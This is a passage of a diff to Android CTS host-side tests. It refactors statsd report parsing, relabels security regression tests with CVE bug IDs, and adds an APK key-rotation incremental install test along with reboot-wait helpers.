@@ -26,5 +26,7 @@
         "host-libprotobuf-java-full",
         "platformprotos",
     ],
-
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
 }
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 28bd4d7..9e12717 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -19,12 +19,15 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.cts.statsdatom.lib.ReportUtils;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
 import com.android.internal.os.StatsdConfigProto;
 import com.android.os.AtomsProto;
 import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog;
 import com.android.os.StatsLog.ConfigMetricsReport;
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.tradefed.build.IBuildInfo;
@@ -46,7 +49,9 @@
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -195,19 +200,28 @@
     /**
      * Gets the statsd report. Note that this also deletes that report from statsd.
      */
-    private List<ConfigMetricsReport> getReportList(long configId) throws DeviceNotAvailableException {
+    private ConfigMetricsReportList getReportList(long configId)
+            throws DeviceNotAvailableException {
         try {
             final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
             getDevice().executeShellCommand(String.format(DUMP_REPORT_CMD, configId), receiver);
             return ConfigMetricsReportList.parser()
-                    .parseFrom(receiver.getOutput())
-                    .getReportsList();
+                    .parseFrom(receiver.getOutput());
         } catch (InvalidProtocolBufferException e) {
             throw new IllegalStateException("Failed to fetch and parse the statsd output report.",
                     e);
         }
     }
 
+    private static List<StatsLog.EventMetricData> getEventMetricDataList(
+            ConfigMetricsReportList reportList) {
+        try {
+            return ReportUtils.getEventMetricDataList(reportList);
+        } catch (Exception e) {
+            throw new IllegalStateException("Failed to parse ConfigMetrisReportList", e);
+        }
+    }
+
     /**
      * Creates and uploads a statsd config that matches the AppCompatibilityChangeReported atom
      * logged by a given package name.
@@ -313,9 +327,7 @@
     private Map<Long, Boolean> getReportedChanges(long configId, String pkgName)
             throws DeviceNotAvailableException {
         final int packageUid = getUid(pkgName);
-        return getReportList(configId).stream()
-                .flatMap(report -> report.getMetricsList().stream())
-                .flatMap(metric -> metric.getEventMetrics().getDataList().stream())
+        return getEventMetricDataList(getReportList(configId)).stream()
                 .filter(eventMetricData -> eventMetricData.hasAtom())
                 .map(eventMetricData -> eventMetricData.getAtom())
                 .map(atom -> atom.getAppCompatibilityChangeReported())
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index 8d5fdf8..af53c8e 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -58,6 +58,11 @@
         "CtsCorruptApkTests_Compressed_R",
         "CtsCorruptApkTests_Unaligned_Q",
         "CtsCorruptApkTests_Unaligned_R",
+        "CtsSignatureQueryService",
+        "CtsSignatureQueryService_v2",
+        "CtsSignatureQueryService_v3",
+        "CtsSignatureQueryServiceTest",
+        "CtsSignatureQueryServiceTest_v2",
     ],
 
     // Prebuilts of all ABIs.
@@ -68,3 +73,8 @@
     name: "CtsHostsideTestsAppSecurityUtil",
     srcs: ["src/android/appsecurity/cts/Utils.java"],
 }
+
+filegroup {
+    name: "cts-ec-p256-por_1_2-default-caps.lineage",
+    srcs: ["certs/pkgsigverify/ec-p256-por_1_2-default-caps"],
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index 11cde7d..8c8a7ca 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -376,7 +376,7 @@
 
     @Test
     public void testInstallBaseIncrementallyWithFsvSig() throws Exception {
-        assumeTrue(hasIncrementalDeliveryFeature());
+        assumeTrue(isIncrementalDeliveryV2Feature());
         new InstallMultiple(/*incremental=*/true)
                 .addFile(BASE_APK)
                 .addFile(BASE_APK + FSV_SIG_SUFFIX)
@@ -386,7 +386,7 @@
 
     @Test
     public void testInstallBaseIncrementallyWithFsvSigAndIdSig() throws Exception {
-        assumeTrue(hasIncrementalDeliveryFeature());
+        assumeTrue(isIncrementalDeliveryV2Feature());
         new InstallMultiple(/*incremental=*/true)
                 .addFile(BASE_APK)
                 .pushFile(BASE_APK + ID_SIG_SUFFIX)
@@ -397,7 +397,7 @@
 
     @Test
     public void testInstallBaseIncrementallyWithIdSigAndWrongFsvSig() throws Exception {
-        assumeTrue(hasIncrementalDeliveryFeature());
+        assumeTrue(isIncrementalDeliveryV2Feature());
         new InstallMultiple(/*incremental=*/true)
                 .addFile(BASE_APK)
                 .pushFile(BASE_APK + ID_SIG_SUFFIX)
@@ -407,7 +407,7 @@
 
     @Test
     public void testInstallBaseIncrementallyWithWrongIdSigAndFsvSig() throws Exception {
-        assumeTrue(hasIncrementalDeliveryFeature());
+        assumeTrue(isIncrementalDeliveryV2Feature());
         new InstallMultiple(/*incremental=*/true)
                 .addFile(BASE_APK)
                 .renameAndPushFile(BAD_BASE_APK + ID_SIG_SUFFIX, BASE_APK + ID_SIG_SUFFIX)
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index 77b059e..abef3d5 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -59,8 +59,8 @@
             "testAppADeDataDoesNotExist";
     private static final String APPA_METHOD_CHECK_CUR_PROFILE_ACCESSIBLE =
             "testAppACurProfileDataAccessible";
-    private static final String APPA_METHOD_CHECK_REF_PROFILE_NOT_ACCESSIBLE =
-            "testAppARefProfileDataNotAccessible";
+    private static final String APPA_METHOD_CHECK_REF_PROFILE_ACCESSIBLE =
+            "testAppARefProfileDataAccessible";
     private static final String APPA_METHOD_UNLOCK_DEVICE_AND_VERIFY_CE_DE_EXTERNAL_EXIST =
             "testAppAUnlockDeviceAndVerifyCeDeExternalDataExist";
     private static final String APPA_METHOD_CANNOT_ACCESS_APPB_DIR = "testCannotAccessAppBDataDir";
@@ -134,7 +134,7 @@
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_DE_DATA_EXISTS);
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_EXTERNAL_DIRS_DO_EXIST);
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_CUR_PROFILE_ACCESSIBLE);
-        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_NOT_ACCESSIBLE);
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_ACCESSIBLE);
 
         // Force stop and verify CE, DE and external storage contains data, cur profile is
         // accessible and ref profile is not accessible, to confirm it's binding back the same data
@@ -144,7 +144,7 @@
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_DE_DATA_EXISTS);
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_EXTERNAL_DIRS_DO_EXIST);
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_CUR_PROFILE_ACCESSIBLE);
-        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_NOT_ACCESSIBLE);
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_ACCESSIBLE);
     }
 
     @Test
@@ -165,7 +165,7 @@
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_DE_DATA_EXISTS);
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_EXTERNAL_DIRS_DO_EXIST);
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_CUR_PROFILE_ACCESSIBLE);
-        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_NOT_ACCESSIBLE);
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_ACCESSIBLE);
 
         // Reboot and verify CE, DE and external storage contains data, cur profile is accessible
         // and ref profile is not accessible
@@ -174,7 +174,7 @@
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_DE_DATA_EXISTS);
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_EXTERNAL_DIRS_DO_EXIST);
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_CUR_PROFILE_ACCESSIBLE);
-        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_NOT_ACCESSIBLE);
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_ACCESSIBLE);
     }
 
     @Test
@@ -202,7 +202,7 @@
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_DE_DATA_EXISTS);
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_EXTERNAL_DIRS_DO_EXIST);
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_CUR_PROFILE_ACCESSIBLE);
-        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_NOT_ACCESSIBLE);
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_ACCESSIBLE);
 
         try {
             // Setup screenlock
@@ -240,7 +240,7 @@
             runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_CE_DATA_DOES_NOT_EXIST);
             runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_EXTERNAL_DIRS_UNAVAILABLE);
             runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_CUR_PROFILE_ACCESSIBLE);
-            runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_NOT_ACCESSIBLE);
+            runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_ACCESSIBLE);
             // Verify cannot access other apps data
             runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CANNOT_ACCESS_APPB_DIR);
 
@@ -255,7 +255,7 @@
             runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_DE_DATA_EXISTS);
             runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_EXTERNAL_DIRS_DO_EXIST);
             runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_CUR_PROFILE_ACCESSIBLE);
-            runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_NOT_ACCESSIBLE);
+            runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_ACCESSIBLE);
         } finally {
             try {
                 // Always try to unlock first, then clear screenlock setting
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 92f4de5..98150c4 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -24,7 +24,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
 import android.platform.test.annotations.RestrictedBuildTest;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.ddmlib.Log;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -234,7 +234,7 @@
      */
     @Test
     @AppModeFull(reason = "Only the platform can define permissions obtainable by instant applications")
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 111934948)
     public void testPermissionDiffCert() throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
         try {
@@ -265,7 +265,7 @@
      */
     @Test
     @AppModeFull(reason = "Only full apps can hold INSTALL_PACKAGES")
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 150857253)
     public void testCrossPackageDiffCertSetInstaller() throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
         try {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DeviceIdentifierTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DeviceIdentifierTest.java
index a27c2a5..b7d6bd5 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DeviceIdentifierTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DeviceIdentifierTest.java
@@ -16,7 +16,7 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -58,7 +58,7 @@
         getDevice().uninstallPackage(DEVICE_IDENTIFIER_PKG);
     }
 
-    @SecurityTest(minPatchLevel = "2021-04")
+    @AsbSecurityTest(cveBugId = 173421434)
     public void testDeviceIdentifierAccessWithAppOpGranted() throws Exception {
         setDeviceIdentifierAccessAppOp(DEVICE_IDENTIFIER_PKG, true);
         Utils.runDeviceTestsAsCurrentUser(getDevice(), DEVICE_IDENTIFIER_PKG,
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index ebad33c..62e2180 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -16,9 +16,10 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.ApiLevelUtil;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 
@@ -130,37 +131,47 @@
 
     public void testRestrictStorageAccessFrameworkEnabled_blockFromTree() throws Exception {
         if (isAtLeastR() && isSupportedHardware()) {
-            runDeviceCompatTest(CLIENT_PKG, ".DocumentsClientTest",
+            runDeviceCompatTestReported(CLIENT_PKG, ".DocumentsClientTest",
                 "testRestrictStorageAccessFrameworkEnabled_blockFromTree",
-                /* enabledChanges */ ImmutableSet.of(RESTRICT_STORAGE_ACCESS_FRAMEWORK),
-                /* disabledChanges */ ImmutableSet.of());
+                /* enabledChanges= */ ImmutableSet.of(RESTRICT_STORAGE_ACCESS_FRAMEWORK),
+                /* disabledChanges= */ ImmutableSet.of(),
+                /* reportedEnabledChanges= */ ImmutableSet.of(),
+                /* reportedDisabledChanges= */ ImmutableSet.of());
         }
     }
 
     public void testRestrictStorageAccessFrameworkDisabled_notBlockFromTree() throws Exception {
-        if (isAtLeastR() && isSupportedHardware()) {
-            runDeviceCompatTest(CLIENT_PKG, ".DocumentsClientTest",
+        // For S+, the flag will be force enabled, so we only run this test against R.
+        if (isAtLeastR() && !isAtLeastS() && isSupportedHardware()) {
+            runDeviceCompatTestReported(CLIENT_PKG, ".DocumentsClientTest",
                 "testRestrictStorageAccessFrameworkDisabled_notBlockFromTree",
                 /* enabledChanges */ ImmutableSet.of(),
-                /* disabledChanges */ ImmutableSet.of(RESTRICT_STORAGE_ACCESS_FRAMEWORK));
+                /* disabledChanges */ ImmutableSet.of(RESTRICT_STORAGE_ACCESS_FRAMEWORK),
+                /* reportedEnabledChanges= */ ImmutableSet.of(),
+                /* reportedDisabledChanges= */ ImmutableSet.of());
         }
     }
 
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 157474195)
     public void testAfterMoveDocumentInStorage_revokeUriPermission() throws Exception {
-        runDeviceTests(CLIENT_PKG, ".DocumentsClientTest",
+        if (isAtLeastS()) {
+            runDeviceTests(CLIENT_PKG, ".DocumentsClientTest",
                 "testAfterMoveDocumentInStorage_revokeUriPermission");
-
+        }
     }
 
     private boolean isAtLeastR() {
         try {
-            String apiString = getDevice().getProperty("ro.build.version.sdk");
-            if (apiString == null) {
-                return false;
-            }
-            int apiLevel = Integer.parseInt(apiString);
-            return apiLevel > 29;
+            return ApiLevelUtil.isAfter(getDevice(), 29 /* BUILD.VERSION_CODES.Q */);
+        } catch (Exception e) {
+            return false;
+        }
+    }
+
+    private boolean isAtLeastS() {
+        try {
+            return ApiLevelUtil.isAfter(getDevice(), 30 /* BUILD.VERSION_CODES.R */)
+                || ApiLevelUtil.codenameEquals(getDevice(), "S");
         } catch (Exception e) {
             return false;
         }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 397a7fc..7d8333d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -21,7 +21,7 @@
 import static org.junit.Assume.assumeFalse;
 
 import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -380,7 +380,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-11")
+    @AsbSecurityTest(cveBugId = 140256621)
     public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
         if (mIsUnsupportedDevice) {
             return;
@@ -390,7 +390,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-11")
+    @AsbSecurityTest(cveBugId = 140256621)
     public void testInstallPermissionGrantedInPackageInfo() throws Exception {
         if (mIsUnsupportedDevice) {
             return;
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 67e4080..9848f8f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -39,6 +39,7 @@
 import org.junit.After;
 import org.junit.Assume;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -626,6 +627,7 @@
     }
 
     @Test
+    @Ignore("Enable after b/197701722 is fixed")
     public void testMediaEscalation_RequestWriteFilePathSupport() throws Exception {
         // Not adding tests for MEDIA_28 and MEDIA_29 as they need W_E_S for write access via file
         // path for shared files, and will always have access as they have W_E_S.
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
index e2ff6c6..bb34ce9 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
@@ -17,7 +17,7 @@
 package android.appsecurity.cts;
 
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.After;
 import org.junit.Before;
@@ -42,7 +42,7 @@
     }
 
     @Test
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 148414207)
     public void testLocationPolicyPermissions() throws Exception {
         new InstallMultiple(true).addFile(TEST_APK).run();
         Utils.runDeviceTests(
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
index 28b7158..1090b90 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
@@ -37,6 +37,7 @@
 
     private static final String OVERLAY_ANDROID_APK = "CtsOverlayAndroid.apk";
     private static final String OVERLAY_ALL_APK = "CtsOverlayPolicyAll.apk";
+    private static final String OVERLAY_ALL_HAS_CODE_APK = "CtsOverlayPolicyAllHasCode.apk";
     private static final String OVERLAY_ALL_NO_NAME_APK = "CtsOverlayPolicyAllNoName.apk";
     private static final String OVERLAY_ALL_NO_NAME_DIFFERENT_CERT_APK =
             "CtsOverlayPolicyAllNoNameDifferentCert.apk";
@@ -267,6 +268,13 @@
     }
 
     @Test
+    public void testOverlayCodeNotLoaded() throws Exception {
+        String testMethod = "testOverlayCodeNotLoaded";
+        runOverlayDeviceTest(TARGET_OVERLAYABLE_APK, OVERLAY_ALL_HAS_CODE_APK, OVERLAY_ALL_PACKAGE,
+                testMethod);
+    }
+
+    @Test
     public void testOverlayPolicyAllNoNameFails() throws Exception {
         assertFailToGenerateIdmap(OVERLAY_ALL_NO_NAME_APK, OVERLAY_ALL_PACKAGE);
     }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
index c8c1e67..c932908 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
@@ -125,14 +125,19 @@
         assertFalse(isAppVisibleForUser(TINY_PKG, mPrimaryUserId, MATCH_NORMAL));
         assertFalse(isAppVisibleForUser(TINY_PKG, mPrimaryUserId, MATCH_UNINSTALLED));
 
-        // Uninstall with keep data
+        // Uninstall with keep data and reboot
         uninstallWithKeepDataForUser(TINY_PKG, userId);
+        getDevice().rebootUntilOnline();
+        waitForBootCompleted();
+        getDevice().startUser(userId);
 
         // It is visible for the installed user, but only if match uninstalled
         assertFalse(isAppVisibleForUser(TINY_PKG, userId, MATCH_NORMAL));
         assertTrue(isAppVisibleForUser(TINY_PKG, userId, MATCH_UNINSTALLED));
 
         Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_notInOtherUser", userId);
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
                 ".PackageAccessTest", "testPackageAccess_getPackagesCanSeeTiny", userId);
 
         Utils.runDeviceTests(getDevice(), TEST_PKG,
@@ -149,4 +154,18 @@
         final String command = "pm uninstall -k --user " + userId + " " + packageName;
         getDevice().executeShellCommand(command);
     }
+
+    private void waitForBootCompleted() throws Exception {
+        for (int i = 0; i < 45; i++) {
+            if (isBootCompleted()) {
+                return;
+            }
+            Thread.sleep(1000);
+        }
+        throw new AssertionError("System failed to become ready!");
+    }
+
+    private boolean isBootCompleted() throws Exception {
+        return "1".equals(getDevice().executeShellCommand("getprop sys.boot_completed").trim());
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
index e0fe368..8ed9d64 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
@@ -16,7 +16,7 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -65,7 +65,7 @@
                 "testCannotEscalateNonRuntimePermissionsToRuntime");
     }
 
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = {154505240, 168319670})
     public void testNoPermissionEscalationAfterReboot() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
                 APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 8568a97..4374efe 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -16,7 +16,7 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
@@ -515,7 +515,7 @@
         assertInstallFailsWithError("v2-only-empty.apk", "Unknown failure");
     }
 
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 64211847)
     public void testInstallApkWhichDoesNotStartWithZipLocalFileHeaderMagic() throws Exception {
         // The APKs below are competely fine except they don't start with ZIP Local File Header
         // magic. Thus, these APKs will install just fine unless Package Manager requires that APKs
@@ -1291,7 +1291,6 @@
                 "signatures do not match previously installed version");
     }
 
-
     public void testV4IncToV2NonIncSameKeyUpgradeSucceeds() throws Exception {
         // V4 is only enabled on devices with Incremental feature
         if (!hasIncrementalFeature()) {
@@ -1321,6 +1320,47 @@
                 "signatures do not match previously installed version");
     }
 
+    public void testInstallV4UpdateAfterRotation() throws Exception {
+        // V4 is only enabled on devices with Incremental feature
+        if (!hasIncrementalFeature()) {
+            return;
+        }
+
+        // This test performs an end to end verification of the update of an app with a rotated
+        // key. The app under test exports a bound service that performs its own PackageManager key
+        // rotation API verification, and the instrumentation test binds to the service and invokes
+        // the verifySignatures method to verify that the key rotation APIs return the expected
+        // results. The instrumentation test app is signed with the same key and lineage as the
+        // app under test to also provide a second app that can be used for the checkSignatures
+        // verification.
+
+        // Install the initial versions of the apps; the test method verifies the app under test is
+        // signed with the original signing key.
+        assertInstallV4FromBuildSucceeds("CtsSignatureQueryService.apk");
+        assertInstallV4FromBuildSucceeds("CtsSignatureQueryServiceTest.apk");
+        Utils.runDeviceTests(getDevice(), SERVICE_TEST_PKG, SERVICE_TEST_CLASS,
+                "verifySignatures_noRotation_succeeds");
+
+        // Install the second version of the app signed with the rotated key. This test verifies the
+        // app still functions as expected after the update with the rotated key. The
+        // instrumentation test app is not updated here to allow verification of the pre-key
+        // rotation behavior for the checkSignatures APIs. These APIs should behave similar to the
+        // GET_SIGNATURES flag in that if one or both apps have a signing lineage if the oldest
+        // signers in the lineage match then the methods should return that the signatures match
+        // even if one is signed with a newer key in the lineage.
+        assertInstallV4FromBuildSucceeds("CtsSignatureQueryService_v2.apk");
+        Utils.runDeviceTests(getDevice(), SERVICE_TEST_PKG, SERVICE_TEST_CLASS,
+                "verifySignatures_withRotation_succeeds");
+
+        // Installs the third version of the app under test and the instrumentation test, both
+        // signed with the same rotated key and lineage. This test is intended to verify that the
+        // app can still be updated and function as expected after an update with a rotated key.
+        assertInstallV4FromBuildSucceeds("CtsSignatureQueryService_v3.apk");
+        assertInstallV4FromBuildSucceeds("CtsSignatureQueryServiceTest_v2.apk");
+        Utils.runDeviceTests(getDevice(), SERVICE_TEST_PKG, SERVICE_TEST_CLASS,
+                "verifySignatures_withRotation_succeeds");
+    }
+
     private boolean hasIncrementalFeature() throws Exception {
         return "true\n".equals(getDevice().executeShellCommand(
                 "pm has-feature android.software.incremental_delivery"));
@@ -1365,6 +1405,13 @@
         }
     }
 
+    private void assertInstallV4FromBuildSucceeds(String apkName) throws Exception {
+        String installResult = installV4PackageFromBuild(apkName);
+        if (!installResult.equals("Success\n")) {
+            fail("Failed to install " + apkName + ": " + installResult);
+        }
+    }
+
     private void assertInstallV4SucceedsAndUninstall(String apkFilenameInResources)
             throws Exception {
         assertInstallV4Succeeds(apkFilenameInResources);
@@ -1488,6 +1535,16 @@
         }
     }
 
+    private String installV4PackageFromBuild(String apkName)
+            throws IOException, DeviceNotAvailableException {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        File apkFile = buildHelper.getTestFile(apkName);
+        File v4SignatureFile = buildHelper.getTestFile(apkName + ".idsig");
+        String remoteApkFilePath = pushFileToRemote(apkFile);
+        pushFileToRemote(v4SignatureFile);
+        return installV4Package(remoteApkFilePath);
+    }
+
     private String pushFileToRemote(File localFile) throws DeviceNotAvailableException {
         String remotePath = "/data/local/tmp/pkginstalltest-" + localFile.getName();
         getDevice().pushFile(localFile, remotePath);
@@ -1496,7 +1553,7 @@
 
     private String installV4Package(String remoteApkPath)
             throws DeviceNotAvailableException {
-        String command = "pm install-incremental -t -g " + remoteApkPath;
+        String command = "pm install-incremental --force-queryable -t -g " + remoteApkPath;
         return getDevice().executeShellCommand(command);
     }
 
